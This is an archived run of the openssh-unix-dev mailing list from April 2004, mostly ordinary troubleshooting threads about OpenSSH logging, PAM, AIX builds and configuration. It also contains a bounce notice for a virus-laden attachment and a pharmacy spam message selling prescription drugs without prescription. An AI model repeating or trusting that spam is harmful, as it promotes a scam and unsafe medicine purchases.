From postmaster at sp.unasp.edu.br  Thu Apr  1 07:51:25 2004
From: postmaster at sp.unasp.edu.br (postmaster at sp.unasp.edu.br)
Date: Wed, 31 Mar 2004 18:51:25 -0300
Subject: Delivery Status Notification (Failure)
Message-ID: <jKGv499Xz000008a5@iaespex02.iaenetsp.br>

This is an automatically generated Delivery Status Notification.

Delivery to the following recipients failed.

       clodo at iae-sp.br



-------------- next part --------------
An embedded message was scrubbed...
From: openssh-unix-dev at mindrot.org
Subject: Error (clodo at iae-sp.br)
Date: Wed, 31 Mar 2004 18:48:18 -0300
Size: 1167
Url: http://lists.mindrot.org/pipermail/openssh-unix-dev/attachments/20040331/c3c320ff/attachment.mht 

From david.mcdonald_remove_this_antispam at securitymail.com.au  Thu Apr  1 12:39:56 2004
From: david.mcdonald_remove_this_antispam at securitymail.com.au (David McDonald)
Date: Thu,  1 Apr 2004 12:39:56 +1000 (EST)
Subject: SSH Logging
Message-ID: <20040401023956.35DAA27C187@shitei.mindrot.org>

Hi,

I'd like to be able to log file transfers to/from an SSH server
(both through scp and sftp-server).

Perhaps I'm not looking in the right places, but I don't see a
way of doing this in the current code. The "scponly" shell goes
some (small) way towards doing this, however, it logs patterns
rather than filenames in scp transfers. I have even less success
with sftp.

If someone knows of patches that achive this aim, I'd like to
hear about them or hear of any other appropriate suggestions.

Alternatively, if nothing appropriate exists, I'd like to log
an enhancement bugzilla entry requesting a logging option
(not greatly dissimilar to an "xferlog" from an FTP daemon).

Regards,


Dave McDonald
Communications/Unix Analyst
Security Mail Pty Ltd
t       02-9554-0000 (switch)
        02-9554-0346 (direct)
m       04-2707-6947
f       02-9554-0554
e       david.mcdonald at securitymail.com.au
a       6 The Crescent, Kingsgrove NSW 2208
        Locked Bag 86, Kingsgrove NSW 1480



From niranjjjj at yahoo.com  Thu Apr  1 16:15:41 2004
From: niranjjjj at yahoo.com (niranjan srinivasan)
Date: Wed, 31 Mar 2004 22:15:41 -0800 (PST)
Subject: sshd -g question
Message-ID: <20040401061541.72246.qmail@web21109.mail.yahoo.com>

Hello,
Im using openssh-3.6.1p2 on rehdat 8. Im
running my sshd (sshd -g 60) on this machine and
trying to connect to this from another machine which
has the same setup as that of the first one. I don't
see the session on my client exiting and returning to
the prompt after 60s(grace time period). My client
session still hangs until I press <Enter> on my
keyboard. Is this the expected behaviour???

cheers


__________________________________
Do you Yahoo!?
Yahoo! Small Business $15K Web Design Giveaway 
http://promotions.yahoo.com/design_giveaway/



From djm at mindrot.org  Thu Apr  1 16:40:55 2004
From: djm at mindrot.org (Damien Miller)
Date: Thu, 01 Apr 2004 16:40:55 +1000
Subject: sshd -g question
In-Reply-To: <20040401061541.72246.qmail@web21109.mail.yahoo.com>
References: <20040401061541.72246.qmail@web21109.mail.yahoo.com>
Message-ID: <406BB977.9020308@mindrot.org>

niranjan srinivasan wrote:

> Hello,
> Im using openssh-3.6.1p2 on rehdat 8. Im
> running my sshd (sshd -g 60) on this machine and
> trying to connect to this from another machine which
> has the same setup as that of the first one. I don't
> see the session on my client exiting and returning to
> the prompt after 60s(grace time period). My client
> session still hangs until I press <Enter> on my
> keyboard. Is this the expected behaviour???

There were some bugs in older versions in this area. Please see if you
can replicate the problem with 3.8p1.

-d



From niranjjjj at yahoo.com  Thu Apr  1 17:39:50 2004
From: niranjjjj at yahoo.com (niranjan srinivasan)
Date: Wed, 31 Mar 2004 23:39:50 -0800 (PST)
Subject: sshd -g question
In-Reply-To: <406BB977.9020308@mindrot.org>
Message-ID: <20040401073950.73173.qmail@web21112.mail.yahoo.com>

Hello,
      I tried with 3.8p1. My client session still
hangs and doesn't come out and display the prompt
until I press <Enter>

Cheers
--- Damien Miller <djm at mindrot.org> wrote:
> niranjan srinivasan wrote:
> 
> > Hello,
> > Im using openssh-3.6.1p2 on rehdat 8. Im
> > running my sshd (sshd -g 60) on this machine and
> > trying to connect to this from another machine
> which
> > has the same setup as that of the first one. I
> don't
> > see the session on my client exiting and returning
> to
> > the prompt after 60s(grace time period). My client
> > session still hangs until I press <Enter> on my
> > keyboard. Is this the expected behaviour???
> 
> There were some bugs in older versions in this area.
> Please see if you
> can replicate the problem with 3.8p1.
> 
> -d
> 


__________________________________
Do you Yahoo!?
Yahoo! Small Business $15K Web Design Giveaway 
http://promotions.yahoo.com/design_giveaway/



From shall at nebraska.edu  Fri Apr  2 00:46:30 2004
From: shall at nebraska.edu (Steve Hall)
Date: Thu, 1 Apr 2004 08:46:30 -0600
Subject: Openssh 3.8p1
Message-ID: <OF51358500.B83B71D2-ON86256E69.0050BFEE-86256E69.00512CC8@nebraska.edu>





Having successfully upgraded ssh from 3.7.p2 to  3.8p1 on a number of AIX
5.1 platforms I now notice that it is logging connections using UTC time?
Has anyone else seen this? (all these systems are ntp based).

Thanks
Steve


Steve Hall
shall at nebraska.edu
Computing Services Network
University of Nebraska



From mark at mitsein.net  Fri Apr  2 01:52:17 2004
From: mark at mitsein.net (Mark)
Date: Thu, 01 Apr 2004 08:52:17 -0700
Subject: Don't panic.
Message-ID: <406C3AB1.3000309@mitsein.net>

There are a couple of instances when sshd will send a message to syslog 
saying "Don't panic" if you are logging auth.info.  I change this on my 
site because Big Brother monitors the logs and freaks out when it sees 
the word panic.  Do you think it is worth submitting a bug report to 
change the wording to use a word other than panic?

-- 
Mark Keisler

"Blessed is he who finds happiness in his own foolishness, for he will
always be happy".



From tim at multitalents.net  Fri Apr  2 04:16:03 2004
From: tim at multitalents.net (Tim Rice)
Date: Thu, 1 Apr 2004 10:16:03 -0800 (PST)
Subject: Openssh 3.8p1
In-Reply-To: <OF51358500.B83B71D2-ON86256E69.0050BFEE-86256E69.00512CC8@nebraska.edu>
References: <OF51358500.B83B71D2-ON86256E69.0050BFEE-86256E69.00512CC8@nebraska.edu>
Message-ID: <Pine.UW2.4.59.99.0404011015070.3561@uw713.int.multitalents.net>

On Thu, 1 Apr 2004, Steve Hall wrote:

> Having successfully upgraded ssh from 3.7.p2 to  3.8p1 on a number of AIX
> 5.1 platforms I now notice that it is logging connections using UTC time?
> Has anyone else seen this? (all these systems are ntp based).

Try a current snapshot.
20040308
 - (dtucker) [sshd.c] Back out rev 1.270 as it caused problems on some
   platforms (eg SCO, HP-UX) with logging in the wrong TZ.  ok djm@

> 
> Thanks
> Steve

-- 
Tim Rice				Multitalents	(707) 887-1469
tim at multitalents.net




From mouring at etoh.eviladmin.org  Fri Apr  2 04:26:34 2004
From: mouring at etoh.eviladmin.org (Ben Lindstrom)
Date: Thu, 1 Apr 2004 12:26:34 -0600 (CST)
Subject: Don't panic.
In-Reply-To: <406C3AB1.3000309@mitsein.net>
Message-ID: <Pine.BSO.4.44.0404011226100.5163-100000@etoh.eviladmin.org>


I'm assuming you are refering to:

$ find . -type f | xargs grep -i "panic"
./readconf.c:           /* don't panic, but count bad options */
./sshd.c:               logit("probed from %s with %s.  Don't panic.",
./sshd.c:               logit("scanned from %s with %s.  Don't panic.",

- Ben

On Thu, 1 Apr 2004, Mark wrote:

> There are a couple of instances when sshd will send a message to syslog
> saying "Don't panic" if you are logging auth.info.  I change this on my
> site because Big Brother monitors the logs and freaks out when it sees
> the word panic.  Do you think it is worth submitting a bug report to
> change the wording to use a word other than panic?
>
> --
> Mark Keisler
>
> "Blessed is he who finds happiness in his own foolishness, for he will
> always be happy".
>
> _______________________________________________
> openssh-unix-dev mailing list
> openssh-unix-dev at mindrot.org
> http://www.mindrot.org/mailman/listinfo/openssh-unix-dev
>



From mark at mitsein.net  Fri Apr  2 04:22:45 2004
From: mark at mitsein.net (Mark)
Date: Thu, 01 Apr 2004 11:22:45 -0700
Subject: Don't panic.
In-Reply-To: <Pine.BSO.4.44.0404011226100.5163-100000@etoh.eviladmin.org>
References: <Pine.BSO.4.44.0404011226100.5163-100000@etoh.eviladmin.org>
Message-ID: <406C5DF5.7080509@mitsein.net>

The sshd.c code, yes.

Ben Lindstrom wrote:
> I'm assuming you are refering to:
> 
> $ find . -type f | xargs grep -i "panic"
> ./readconf.c:           /* don't panic, but count bad options */
> ./sshd.c:               logit("probed from %s with %s.  Don't panic.",
> ./sshd.c:               logit("scanned from %s with %s.  Don't panic.",
> 
> - Ben
> 
> On Thu, 1 Apr 2004, Mark wrote:
> 
> 
>>There are a couple of instances when sshd will send a message to syslog
>>saying "Don't panic" if you are logging auth.info.  I change this on my
>>site because Big Brother monitors the logs and freaks out when it sees
>>the word panic.  Do you think it is worth submitting a bug report to
>>change the wording to use a word other than panic?
>>
>>--
>>Mark Keisler
>>
>>"Blessed is he who finds happiness in his own foolishness, for he will
>>always be happy".
>>
>>_______________________________________________
>>openssh-unix-dev mailing list
>>openssh-unix-dev at mindrot.org
>>http://www.mindrot.org/mailman/listinfo/openssh-unix-dev
>>


-- 
Mark Keisler

"Blessed is he who finds happiness in his own foolishness, for he will
always be happy".



From djm at mindrot.org  Fri Apr  2 09:32:14 2004
From: djm at mindrot.org (Damien Miller)
Date: Fri, 02 Apr 2004 09:32:14 +1000
Subject: Don't panic.
In-Reply-To: <406C3AB1.3000309@mitsein.net>
References: <406C3AB1.3000309@mitsein.net>
Message-ID: <406CA67E.1040004@mindrot.org>

Mark wrote:
> There are a couple of instances when sshd will send a message to syslog 
> saying "Don't panic" if you are logging auth.info.  I change this on my 
> site because Big Brother monitors the logs and freaks out when it sees 
> the word panic.  Do you think it is worth submitting a bug report to 
> change the wording to use a word other than panic?

Just maybe, you should be raising this with the Big Brother developers?

I bet there are a dozen ways that I could get the word "panic" into your
syslog, do you think that Big Brother should freak out on all of them?

-d



From shall at nebraska.edu  Fri Apr  2 09:41:28 2004
From: shall at nebraska.edu (Steve Hall)
Date: Thu, 1 Apr 2004 17:41:28 -0600
Subject: Openssh 3.8p1
In-Reply-To: <Pine.UW2.4.59.99.0404011015070.3561@uw713.int.multitalents.net>
Message-ID: <OFF77B6386.113A6469-ON86256E69.0081E08A-86256E69.00822731@nebraska.edu>






That worked

Thanks,
Steve


Steve Hall
shall at nebraska.edu
Computing Services Network
University of Nebraska


                                                                           
             Tim Rice                                                      
             <tim at multitalents                                             
             .net>                                                      To 
                                       Steve Hall <shall at nebraska.edu>     
             04/01/2004 12:16                                           cc 
             PM                        openssh-unix-dev at mindrot.org        
                                                                   Subject 
                                       Re: Openssh 3.8p1                   
                                                                           
                                                                           
                                                                           
                                                                           
                                                                           
                                                                           




On Thu, 1 Apr 2004, Steve Hall wrote:

> Having successfully upgraded ssh from 3.7.p2 to  3.8p1 on a number of AIX
> 5.1 platforms I now notice that it is logging connections using UTC time?
> Has anyone else seen this? (all these systems are ntp based).

Try a current snapshot.
20040308
 - (dtucker) [sshd.c] Back out rev 1.270 as it caused problems on some
   platforms (eg SCO, HP-UX) with logging in the wrong TZ.  ok djm@

>
> Thanks
> Steve

--
Tim Rice                                               Multitalents
 (707) 887-1469
tim at multitalents.net






From dtucker at zip.com.au  Fri Apr  2 11:43:05 2004
From: dtucker at zip.com.au (Darren Tucker)
Date: Fri, 02 Apr 2004 11:43:05 +1000
Subject: sshd -g question
In-Reply-To: <20040401073950.73173.qmail@web21112.mail.yahoo.com>
References: <20040401073950.73173.qmail@web21112.mail.yahoo.com>
Message-ID: <406CC529.5040809@zip.com.au>

niranjan srinivasan wrote:
>       I tried with 3.8p1. My client session still
> hangs and doesn't come out and display the prompt
> until I press <Enter>

Did you upgrade the server?  The LoginGraceTime fix in on the server side.

-- 
Darren Tucker (dtucker at zip.com.au)
GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
     Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.



From f_mohr at yahoo.de  Fri Apr  2 18:06:41 2004
From: f_mohr at yahoo.de (Frank Mohr)
Date: Fri, 02 Apr 2004 10:06:41 +0200
Subject: SSH Logging
References: <20040401023956.35DAA27C187@shitei.mindrot.org>
Message-ID: <406D1F11.54B6F078@yahoo.de>

Hi

there was a scp-logging patch a few days ago on the list:

> Subject: PATCH: scp logging
>    Date: Mon, 08 Mar 2004 20:05:50 +0100 (CET)
>    From:  V?clav Tomec <v_t_m at seznam.cz>
>      To:  OpenSSH <openssh-unix-dev at mindrot.org>

I don't remember one for the sftp-server.

Your users have other (unlogged) ways to transfer files if they have
shell access. (ssh "cd /somedir && tar cf - somepath" | tar xvf -)

Frank


David McDonald wrote:
> 
> Hi,
> 
> I'd like to be able to log file transfers to/from an SSH server
> (both through scp and sftp-server).
> 
> Perhaps I'm not looking in the right places, but I don't see a
> way of doing this in the current code. The "scponly" shell goes
> some (small) way towards doing this, however, it logs patterns
> rather than filenames in scp transfers. I have even less success
> with sftp.
> 
> If someone knows of patches that achive this aim, I'd like to
> hear about them or hear of any other appropriate suggestions.
> 
> Alternatively, if nothing appropriate exists, I'd like to log
> an enhancement bugzilla entry requesting a logging option
> (not greatly dissimilar to an "xferlog" from an FTP daemon).
> 
> Regards,
> 
> Dave McDonald
> Communications/Unix Analyst
> Security Mail Pty Ltd
> t       02-9554-0000 (switch)
>         02-9554-0346 (direct)
> m       04-2707-6947
> f       02-9554-0554
> e       david.mcdonald at securitymail.com.au
> a       6 The Crescent, Kingsgrove NSW 2208
>         Locked Bag 86, Kingsgrove NSW 1480
> 
> _______________________________________________
> openssh-unix-dev mailing list
> openssh-unix-dev at mindrot.org
> http://www.mindrot.org/mailman/listinfo/openssh-unix-dev



From f_mohr at yahoo.de  Fri Apr  2 18:40:32 2004
From: f_mohr at yahoo.de (Frank Mohr)
Date: Fri, 02 Apr 2004 10:40:32 +0200
Subject: (missing) dependencies in Makefile
Message-ID: <406D2700.92BD89D0@yahoo.de>

Hi

the OpenSSH Makefile doesn't use any dependencies for header files
(except config.h)
Is this intended or just left out (as it's usually not a problem).

Frank



From f_mohr at yahoo.de  Fri Apr  2 19:40:35 2004
From: f_mohr at yahoo.de (Frank Mohr)
Date: Fri, 02 Apr 2004 11:40:35 +0200
Subject: permitopen= IPv6 format
Message-ID: <406D3513.79B6810B@yahoo.de>

Hi

one question about the IPv6 format in permitopen=. 

Is this ":::/port" used anywhere else? 
The only documented format for literal IPv6 addresses I found 
was RFC 2732 as it's used in web-browsers.
They specify the address as "[:::]:port"

In OpenSSH this would be matched by changing 
"%255[^/]/%5[0-9]" to "%*[[]%255[^]]%*[]]:%5[0-9]" in 
the auth-options.c

Frank



From kumaresh_ind at gmx.net  Fri Apr  2 21:43:05 2004
From: kumaresh_ind at gmx.net (Kumaresh)
Date: Fri, 2 Apr 2004 17:13:05 +0530
Subject: PAM_LDAP fails with 3.7.1p2 when Shadow password installed on HP-UX
	11.11
Message-ID: <02d301c418ad$7140fdb0$230110ac@kurco>

Hello All,

We have been successfully using PAM_LDAP authentication with OpenSSH-3.6 on
our HP-UX 11.11. When OpenSSH-3.7.1p2 is installed [with Darrens' password
expiry patch 26], and when Shadow password bundle is installed on the
system, our ssh authentication failed. Even, when the source is compiled
without Darren's patch, the same bahaviour is seen and there is no success.

When Shadow password is uninstalled, LDAP auth works.

The error in sshd side we are getting is
"PAM: No account present for user" [please refer attached debug file]

I have installed OpenSSH-3.8 without any password expiry patch and that also
works with PAM_LDAP with Shadow passwords.
I am wondering why 3.7.1p2 alone do not work when 3.6, and 3.8 works.
Both 3.7 and 3.8 have the following macros in config.h

#undef DISABLE_SHADOW
#define HAS_SHADOW_EXPIRE 1
#define HAVE_SHADOW_H 1
#define HAVE_SECURITY_PAM_APPL_H 1
#define USE_PAM 1
#define PAM_SUN_CODEBASE 1
#define HAVE_LIBPAM 1
/* #undef PAM_TTY_KLUDGE */
/* #undef HAVE_OLD_PAM */
/* #undef HAVE_PAM_GETENVLIST */
/* #undef HAVE_PAM_PUTENV */

Some more info on the PAM_LDAP library used on the system.

When Shadow password bundle is installed on the system, shadow file enable
and disable command is installed on "/usr/sbin/pwunconv" and
"/usr/sbin/pwconv". PAM_LDAP library checks this and particularly when
"/usr/sbin/pwunconv" is removed, LDAP auth works.

Is there any chance that the problem is in checking the return status of the
PAM APIs in 3.7.1p2?

I have attached the "sshd -ddd" file with this mail.

Advance thanks,
Kumaresh.






---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.576 / Virus Database: 365 - Release Date: 1/30/2004

From dtucker at zip.com.au  Fri Apr  2 23:33:39 2004
From: dtucker at zip.com.au (Darren Tucker)
Date: Fri, 02 Apr 2004 23:33:39 +1000
Subject: PAM_LDAP fails with 3.7.1p2 when Shadow password installed on
 HP-UX	11.11
In-Reply-To: <02d301c418ad$7140fdb0$230110ac@kurco>
References: <02d301c418ad$7140fdb0$230110ac@kurco>
Message-ID: <406D6BB3.9010804@zip.com.au>

Kumaresh wrote:

> We have been successfully using PAM_LDAP authentication with OpenSSH-3.6 on
> our HP-UX 11.11. When OpenSSH-3.7.1p2 is installed [with Darrens' password
> expiry patch 26], and when Shadow password bundle is installed on the
> system, our ssh authentication failed. Even, when the source is compiled
> without Darren's patch, the same bahaviour is seen and there is no success.
> 
> When Shadow password is uninstalled, LDAP auth works.

3.6x had some HP-UX specific code for the Trusted Mode case (using 
getprpwnam), and didn't use the shadow calls (getspnam).

3.7.1p2 uses the shadow calls on HPUX, but has a bug for the Trusted 
Mode case, which was fixed for 3.8p1.

Maybe the shadow password bundle + LDAP has the same problem with 3.7x 
as Trusted Mode did?

> The error in sshd side we are getting is
> "PAM: No account present for user" [please refer attached debug file]

The debug file is missing (filtered?)  This looks like an error returned 
by PAM, though, not sure why.

> I have installed OpenSSH-3.8 without any password expiry patch and that also
> works with PAM_LDAP with Shadow passwords.
> I am wondering why 3.7.1p2 alone do not work when 3.6, and 3.8 works.
> Both 3.7 and 3.8 have the following macros in config.h
[...]
> Is there any chance that the problem is in checking the return status of the
> PAM APIs in 3.7.1p2?

There were a few minor improvements to PAM, it's possible one of those 
makes a difference.  (PAM is something of a black box, sometimes little 
things make a difference for no apparent reason).

If 3.8p1 works properly, I wouldn't put too much effort into tracking 
down the exact cause, though...

-- 
Darren Tucker (dtucker at zip.com.au)
GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
     Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.



From postmaster at denver.mindrot.org  Sat Apr  3 01:45:11 2004
From: postmaster at denver.mindrot.org (amavisd-new)
Date: Fri,  2 Apr 2004 15:45:11 +0000 (UTC)
Subject: ARQUIVO PROIBIDO (your_document.pif) EM SUA MENSAGEM
In-Reply-To: <20040402154506.2845F93581@denver.cipsga.org.br>
Message-ID: <VS24202-02-12@denver>

ALERTA: ARQUIVO PROIBIDO

Nosso sistema de inspe??o de conte?do encontrou
    um arquivo proibido: your_document.pif
em sua email para o destinat?rio:
-> gleydson at cipsga.org.br

A entrega da mensagem foi bloqueada!

Por favor, verifique seu sistema. Ele pode estar contaminado por v?rus.

Para sua refer?ncia, aqui est?o os cabe?alhos da mensagem com problemas:
------------------------- BEGIN HEADERS -----------------------------
Received: from cipsga.org.br (200-171-115-81.dsl.telesp.net.br [200.171.115.81])
	by denver.cipsga.org.br (Postfix) with ESMTP id 2845F93581
	for <gleydson at cipsga.org.br>; Fri,  2 Apr 2004 12:45:06 -0300 (BRT)
From: openssh-unix-dev at mindrot.org
To: gleydson at cipsga.org.br
Subject: Re: Your document
Date: Fri, 2 Apr 2004 12:44:32 -0300
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0003_00005FCA.00005092"
X-Priority: 3
X-MSMail-Priority: Normal
Message-Id: <20040402154506.2845F93581 at denver.cipsga.org.br>
-------------------------- END HEADERS ------------------------------
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: text/rfc822-headers
Size: 540 bytes
Desc: Undelivered-message headers
Url : http://lists.mindrot.org/pipermail/openssh-unix-dev/attachments/20040402/5c8b67eb/attachment.bin 

From r3r2 at yahoo.com  Sat Apr  3 08:10:35 2004
From: r3r2 at yahoo.com (Ryan Robertson)
Date: Fri, 2 Apr 2004 14:10:35 -0800 (PST)
Subject: Config failure with 3.8p1 on AIX
Message-ID: <20040402221035.19004.qmail@web10808.mail.yahoo.com>

I too am experiencing this issue.  both
/usr/local/libz.a & /usr/lib/libz.a are linked to
/opt/freeware/lib/libz.a.  While the compile seems to
work locally, but when i install ssh on another
machine i get:
===================
Symbol resolution failed for ssh because:
        Symbol __strtollmax (number 157) is not
exported from dependent
          module /usr/lib/libc.a(shr.o).
Examine .loader section symbols with the 'dump -Tv'
command.
===================
how is this resolved?  Compile options: 
./configure LDFLAGS="-L/usr/local/lib"
CPPFLAGS="-I/usr/local/include" --prefix=/usr
 --with-tcp-wrappers


-Thanks,
Ryan
<snip>
Darren Tucker wrote:
> Configure no longer automatically searches
/usr/local/{lib,include} by 
> default.

Correction: configure will search /usr/local *if* it
doesn't find zlib 
elsewhere.  You have zlib.a in /usr/lib, so this
doesn't happen

__________________________________
Do you Yahoo!?
Yahoo! Small Business $15K Web Design Giveaway 
http://promotions.yahoo.com/design_giveaway/



From dtucker at zip.com.au  Sat Apr  3 11:34:55 2004
From: dtucker at zip.com.au (Darren Tucker)
Date: Sat, 03 Apr 2004 11:34:55 +1000
Subject: Config failure with 3.8p1 on AIX
In-Reply-To: <20040402221035.19004.qmail@web10808.mail.yahoo.com>
References: <20040402221035.19004.qmail@web10808.mail.yahoo.com>
Message-ID: <406E14BF.7070106@zip.com.au>

Ryan Robertson wrote:

> I too am experiencing this issue.  both
> /usr/local/libz.a & /usr/lib/libz.a are linked to
> /opt/freeware/lib/libz.a.  While the compile seems to
> work locally, but when i install ssh on another
> machine i get:
> ===================
> Symbol resolution failed for ssh because:
>         Symbol __strtollmax (number 157) is not
> exported from dependent
>           module /usr/lib/libc.a(shr.o).
> Examine .loader section symbols with the 'dump -Tv'
> command.

This normally is a result of attempting to run a binary compiled on a 
later version of AIX than the target system (this includes Maintenance 
Levels).  This is not guaranteed to work, you should build on the 
*oldest* system you plan to support.

-- 
Darren Tucker (dtucker at zip.com.au)
GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
     Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.



From mouring at etoh.eviladmin.org  Sat Apr  3 15:00:41 2004
From: mouring at etoh.eviladmin.org (Ben Lindstrom)
Date: Fri, 2 Apr 2004 23:00:41 -0600 (CST)
Subject: (missing) dependencies in Makefile
In-Reply-To: <406D2700.92BD89D0@yahoo.de>
Message-ID: <Pine.BSO.4.44.0404022259400.5163-100000@etoh.eviladmin.org>


And the issue we are seeing due to theses lack of dependencies?

- Ben

On Fri, 2 Apr 2004, Frank Mohr wrote:

> Hi
>
> the OpenSSH Makefile doesn't use any dependencies for header files
> (except config.h)
> Is this intended or just left out (as it's usually not a problem).
>
> Frank
>
> _______________________________________________
> openssh-unix-dev mailing list
> openssh-unix-dev at mindrot.org
> http://www.mindrot.org/mailman/listinfo/openssh-unix-dev
>



From marko.bauer at fornax-edv-service.de  Sat Apr  3 18:21:23 2004
From: marko.bauer at fornax-edv-service.de (Marko Bauer)
Date: Sat, 3 Apr 2004 10:21:23 +0200
Subject: =?iso-8859-1?q?OpenSSH_l=E4uft_nur_auf_einer_Netzwerkkarte_/_Ope?=
	=?iso-8859-1?q?nSSH_only_working_on_one_network-card?=
Message-ID: <E1B9gP9-0000NQ-00@mrelayng.kundenserver.de>

(english blow)
 
Hallo!
 
Ich habe folgendes Problem:
In meinem Server sind zwei Netzwerkkarten mit unterschiedlichen Netzen. SSH
ist aber nur in einem Netz verf?gbar. Ich wei? nicht, ob es IP-Adressen
abh?ngig ist oder von der Netzwerkkarte. Ich m?chte gern in beiden Netzen
SSH nutzen k?nnen. Die Firewall ist unschuldig.
 
Mein System:
 
W2k3 Server
2 Intel NICs (eine Class A und die andere Class B Netz)
 
 
Vielen Dank f?r Eure Hilfe!
 
Gr??e
 
Marko aka coffy
 
---------------------------------------------------------------
(deutsch oben)
 
Hello!
 
I've got the following problem:
My server contains two networkcards with different nets. SSH ist only on one
net available. I don't know wether it depends on the IP-adress or the
networkcard. I wont to use SSH on both networkcards. It's not the fault of
the firewall.
 
my system:
W2k3 server
2 Intel NICs (one with class A net the other with class B)
 
Thanks for your help!
 
Greetings
 
Marko aka coffy




From f_mohr at yahoo.de  Sun Apr  4 02:56:01 2004
From: f_mohr at yahoo.de (Frank Mohr)
Date: Sat, 03 Apr 2004 18:56:01 +0200
Subject: (missing) dependencies in Makefile
References: <Pine.BSO.4.44.0404022259400.5163-100000@etoh.eviladmin.org>
Message-ID: <406EECA1.ED672730@yahoo.de>

Ben Lindstrom wrote:
> 
> And the issue we are seeing due to theses lack of dependencies?

As I wrote - this is usually not a problem.
It also took me a long time to realy notice it at all 
(openssh-2.9p2 in 2001 and a lot of internal patches for every version
since that till now).

I stumbled into that trap when I added in/out counters to the channel
structure (changed channel.[ch])
and did a make without "make clear" first.

My question was just if there is a technical reason.
(reasons I see might be: compacter Makefile with less rules, easier to
maintain, 
little gain and a lot of work to add them)

Frank


> On Fri, 2 Apr 2004, Frank Mohr wrote:
> 
> > Hi
> >
> > the OpenSSH Makefile doesn't use any dependencies for header files
> > (except config.h)
> > Is this intended or just left out (as it's usually not a problem).
> >
> > Frank
> >
> > _______________________________________________
> > openssh-unix-dev mailing list
> > openssh-unix-dev at mindrot.org
> > http://www.mindrot.org/mailman/listinfo/openssh-unix-dev
> >
> 
> _______________________________________________
> openssh-unix-dev mailing list
> openssh-unix-dev at mindrot.org
> http://www.mindrot.org/mailman/listinfo/openssh-unix-dev



From mouring at etoh.eviladmin.org  Sun Apr  4 06:19:58 2004
From: mouring at etoh.eviladmin.org (Ben Lindstrom)
Date: Sat, 3 Apr 2004 14:19:58 -0600 (CST)
Subject: (missing) dependencies in Makefile
In-Reply-To: <406EECA1.ED672730@yahoo.de>
Message-ID: <Pine.BSO.4.44.0404031400090.5163-100000@etoh.eviladmin.org>



On Sat, 3 Apr 2004, Frank Mohr wrote:

> Ben Lindstrom wrote:
> >
> > And the issue we are seeing due to theses lack of dependencies?
>
> As I wrote - this is usually not a problem.
> It also took me a long time to realy notice it at all
> (openssh-2.9p2 in 2001 and a lot of internal patches for every version
> since that till now).
>
> I stumbled into that trap when I added in/out counters to the channel
> structure (changed channel.[ch])
> and did a make without "make clear" first.
>
> My question was just if there is a technical reason.
> (reasons I see might be: compacter Makefile with less rules, easier to
> maintain,
> little gain and a lot of work to add them)
>

I doubt there is a direct technical reason, but I know I hate
reading/writing complex dependancy rules since most of them are rarely
used on a project this size.  And most of the time it is just as fast just
to do make clean && make.

Slowest platform I've compiled OpenSSH has been a 25mhz m68k NeXT slab.
Which is not that bad, but long enough to not watch or develop on. =)

If somene has some simple Makefile foo to help out on the front I would
not reject it.  Just personally don't think we need anything too complex.

 - Ben



From dtucker at zip.com.au  Sun Apr  4 13:43:02 2004
From: dtucker at zip.com.au (Darren Tucker)
Date: Sun, 04 Apr 2004 13:43:02 +1000
Subject: OpenSSH =?iso-8859-1?q?l=E4uft_nur_auf_einer_Netzwerkkarte_/_?=
 =?iso-8859-1?q?OpenSSH_only_working_on_one_network-card?=
In-Reply-To: <E1B9gP9-0000NQ-00@mrelayng.kundenserver.de>
References: <E1B9gP9-0000NQ-00@mrelayng.kundenserver.de>
Message-ID: <406F8446.5090302@zip.com.au>

Marko Bauer wrote:
> I've got the following problem:
> My server contains two networkcards with different nets. SSH ist only on one
> net available. I don't know wether it depends on the IP-adress or the
> networkcard. I wont to use SSH on both networkcards. It's not the fault of
> the firewall.

It's possible that sshd is configured to listen on only one IP address. 
  Check sshd_config for a "ListenAddress" directive (comment it out if 
there is one the restart sshd).

You can also use "netstat" to see which address sshd is listening on. 
"0.0.0.0:22" means it's listening on all addresses, eg

$ netstat -an |grep :22 | grep LISTEN
tcp      0     0 0.0.0.0:22           0.0.0.0:*            LISTEN

-- 
Darren Tucker (dtucker at zip.com.au)
GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
     Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.



From billlitz at pyramid3.net  Sun Apr  4 20:46:54 2004
From: billlitz at pyramid3.net (Agnew H. Gospel)
Date: Sun, 04 Apr 2004 05:46:54 -0500
Subject: Read:_C.al.is 80% s.ave
Message-ID: <3609067006.20040404054654@pyramid3.net>

Jana Lessie Rudy Melba Alyce Leah Arturo Arnold


>We offer CI.AL.IS - SUPER V.IA..GRA, an many other mede.cines,
>for unbeatable prices, directly from manufacturer, stop smo.king, hair lo.ss,
>lo.o.se wei.g.ht - we can help you with this and many more other.
>Orde.ring with us is simple like 1,2,3 - FAST, SECURE, ANONYMOUS.
>No prescription needed!!
>Please kindly spend few moments browsing our site- u won't regret.

http://Frederic.best-meds.biz/


Change is inevitable. Change is constant.
It is, after all, the responsibility of the expert to operate the familiar and that of the leader to transcend it.
You prove your worth with your actions, not with your mouth.
Change yourself and your work will seem different.
Everybody forgets the basic thing people are not going to love you unless you love them.
The greatest gift you can give another is the purity of your attention.
We're all pilgrims on the same journey-but some pilgrims have better road maps.
The only menace is inertia.
An empty house is like a stray dog or a body from which life has departed.
Our friends interpret the world and ourselves to us, if we take them tenderly and truly.
When men can no longer be theists, they must, if they are civilized, become humanists.



From andreas at conectiva.com.br  Tue Apr  6 06:50:43 2004
From: andreas at conectiva.com.br (Andreas)
Date: Mon, 5 Apr 2004 17:50:43 -0300
Subject: link(2) to rename files in sftp
Message-ID: <20040405205043.GA26258@conectiva.com.br>

Is there an alternative to using link(2) to rename files in sftp-server?

Some users use sftp to upload files to a vfat partition on an sftp-server,
and then renaming doesn't work. This breaks konqueror, for example (from KDE,
